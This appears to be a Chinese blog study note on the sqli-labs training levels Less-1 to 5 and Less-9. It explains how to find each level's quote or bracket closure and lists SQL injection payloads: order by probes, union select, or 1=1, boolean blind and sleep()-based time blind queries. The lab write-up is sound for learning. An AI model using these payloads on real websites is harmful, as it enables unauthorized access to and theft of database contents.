sqli1-5 9报错注入 笔记

Less-1

http://靶场地址/sqli/Less-1/

进入第一关页面,URL 中包含 id 参数。输入 ?id=1 后,页面正常显示登录用户名和密码。输入 ?id=1' 后,页面返回数据库报错信息。这一现象说明用户输入的内容被直接拼接到了 SQL 语句中,且参数被单引号包裹。使用 order by 语句进行探测

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

使用union select联合查询来探测页面上哪些位置可以显示数据?id=-1' union select 1,2,3 --+

http://靶场地址/sqli/Less-1/?id=1' or 1=1 --+

Less-2

输入 ?id=1' 后页面报错,对比报错信息可以发现,其错误提示中并不像第一关那样涉及单引号闭合问题。进一步的测试可以验证:输入 ?id=1 and 1=2,页面变为空白;输入 ?id=1 and 1=1,页面正常显示。这说明 id 参数是以数字形式直接拼接到 SQL 语句中的,没有使用引号包裹。数字型注入,不需要添加引号

?id=1 order by 1 --+

?id=1 order by 2 --+

?id=1 order by 3 --+

?id=1 order by 4 --+

将 id 设为-1 union select ?id=-1 union select 1,2,3 --+

直接在参数后拼接 or 1=1 即可构造恒真条件。

?id=1 or 1=1 --+

Less-3

第三关输入 ?id=1' 后同样报错,但需要仔细观察报错信息中的细节。错误提示中出现了额外的右括号 ),这表明后台 SQL 语句中 id 参数不仅被引号包裹,还被括号所包含。需要闭合两个符号:第一是左括号 (,第二是单引号 '。因此闭合方式为 '),因此 order by 探测时需要先闭合前面的括号和引号,再拼接 order by:?id=1') order by 1 --+

?id=1') order by 2 --+

?id=1') order by 3 --+

?id=1') order by 4 --+

?id=-1') union select 1,database(),3 --+

Less-4

输入 ?id=1' 后页面没有报错,正常显示。这说明单引号不是正确的闭合方式。接着输入 ?id=1" 后页面报错,且报错信息中同样出现了右括号 )。闭合方式为 "),先用右括号闭合左括号,再用双引号闭合前面的双引号。然后拼接 or 1=1 构造恒真条件。

?id=1") order by 1 --+

?id=1") order by 2 --+

?id=1") order by 3 --+

?id=1") order by 4 --+

order by 4报错

?id=1") or 1=1 --+

Less-5

输入正常的 ?id=1 后,页面只显示一条固定提示 "You are in..........." ,没有任何数据库字段内容显示在页面上。输入 ?id=1' 后页面报错,说明存在注入漏洞,但没有回显数据的位置。

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

order by 4时报错

?id=1' and ascii(substr(database(), 2, 1))=115 --+ 判断该字符的 ASCII 码

Less-9

输入任何 id 值(无论是正常值?id=1、异常值?id=1000,还是带引号的?id=1'),页面始终只显示 "You are in..........." ,没有任何变化。没有回显位,也没有报错信息,order by探测和union select完全无法使用。使用 MySQL 的if()条件判断函数配合sleep()延时函数

if(条件, sleep(秒数), 0)

?id=1' and if(1=1, sleep(5), 0) --+依次尝试

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(), 1, 1))=115, sleep(5), 0) --+

相关推荐
XGeFei21 小时前
【AI应用/Agent智能体搭建平台2】Dify——自部署
人工智能·笔记·学习
祈禾21 小时前
Redis三大缓存问题与分布式锁
运维·数据库·redis·笔记·分布式·缓存
IT古董1 天前
【MES学习笔记系列】MES 厂商与产品对比
笔记·学习
wangyue_msn_861 天前
Agent知识学习笔记——03 RAG
笔记·学习·ai编程
嘶哈哈哈1 天前
# 异构十电机机架数学建模:从单电机力矩到受约束控制分配
笔记
呱呱巨基1 天前
Linux 查找命令
linux·笔记·学习·查找命令
zhangrelay1 天前
ROS 2 Lyrical 第4章 URDF机器人建模与Gazebo Garden仿真
linux·笔记·学习·ubuntu·机器人·ros2
疯狂打码的少年1 天前
【数据结构】串的模式匹配:KMP算法(重点)
数据结构·笔记·算法
一米阳光86611 天前
软考(中级)软件设计师核心笔记(8)数据结构——线性结构、数组、矩阵
数据结构·笔记·职场发展·软考·软件设计师·中级职称
疯狂打码的少年1 天前
【数据结构】树的基本概念与二叉树定义
java·数据结构·笔记·算法